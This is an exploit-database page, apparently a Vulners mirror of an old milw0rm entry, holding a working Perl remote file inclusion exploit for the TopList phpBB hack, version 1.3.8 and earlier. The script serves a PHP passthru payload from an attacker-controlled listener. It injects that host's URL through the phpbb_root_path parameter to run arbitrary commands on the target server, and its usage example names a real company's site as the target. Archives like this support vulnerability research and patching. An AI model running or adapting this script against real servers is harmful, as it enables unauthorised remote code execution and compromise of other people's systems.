Lucene search
K

TopList <= 1.3.8 (phpBB Hack) Remote Inclusion Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

TopList <= 1.3.8 Remote File Inclusion Exploit using PHPB

Code

                                                # TopList Hack for PHPBB &#60;= 1.3.8 Remote File Inclusion
# Based on http://milw0rm.com/exploits/1722
# Bug found by : [Oo]
#
# No more uploading php shells !!! 
# This is my way of php include exploitation !!!
# Learn to play with sockets !!!
# FOX_MULDER ([email protected])

#!/usr/bin/perl
  use LWP 5.64;
  use IO::Socket;
  use LWP::Simple;

(my $hostname, my $target, my $dir,my $command) = @ARGV;

if(@ARGV &#60; 4) {
print &#34;=======================================================================+\n&#34;;
print &#34;TopList REMOTE COMMAND EXECUTION EXPLOIT by fox_mulder\@abv.bg         |\n&#34;;
print &#34;Usage: top.pl yourIP target /dir/ \&#34;command\&#34;                            |\n&#34;;
print &#34;Example: top.pl 10.20.30.40 www.microsoft.com /forum/ \&#34;uname -a\&#34;     |\n&#34;;
print &#34;=======================================================================+\n&#34;;
exit;
}
print &#34;[+]Creating listening socket . . .\n&#34;;
my $sock = new IO::Socket::INET (
                                  LocalHost =&#62; &#34;$hostname&#34;,
                                  LocalPort =&#62; &#39;9999&#39;,
                                  Proto =&#62; &#39;tcp&#39;,
                                  Listen =&#62; 1,
                                  Reuse =&#62; 1,
                                 );
 die &#34;Could not create socket: $!\n&#34; unless $sock;

        if (my $pid = fork){
        my $new_sock = $sock-&#62;accept();
                my $request = &#60;$new_sock&#62;;
                print $new_sock &#34;HTTP/1.1 200 OK\n&#34;;
                print $new_sock &#34;Content-Length: $content_length\n&#34;;
                print $new_sock &#34;Content-Type: text/plain\n\n&#34;;
                print $new_sock &#34;&#60;? error_reporting(0);passthru(\&#34;$command\&#34;); ?&#62;\n&#34;;
                close $new_sock;
                exit;
        }
print &#34;[+]Injecting  command . . .\n&#34;;

my $browser = LWP::UserAgent-&#62;new;
   $browser-&#62;agent(&#39;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&#39;);

  my $url = &#34;http://$target/$dir/toplist.php&#34;;
  my $response = $browser-&#62;post( $url,
    [
	&#39;f&#39;            =&#62; &#34;toplist_top10&#34;,
        &#39;phpbb_root_path&#39; =&#62; &#34;http://$hostname:9999/blah.php&#34;
]
  );

  die &#34;Received invalid response type&#34;, $response-&#62;content_type
   unless $response-&#62;content_type eq &#39;text/html&#39;;

        print $response-&#62;content;

# milw0rm.com [2006-04-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation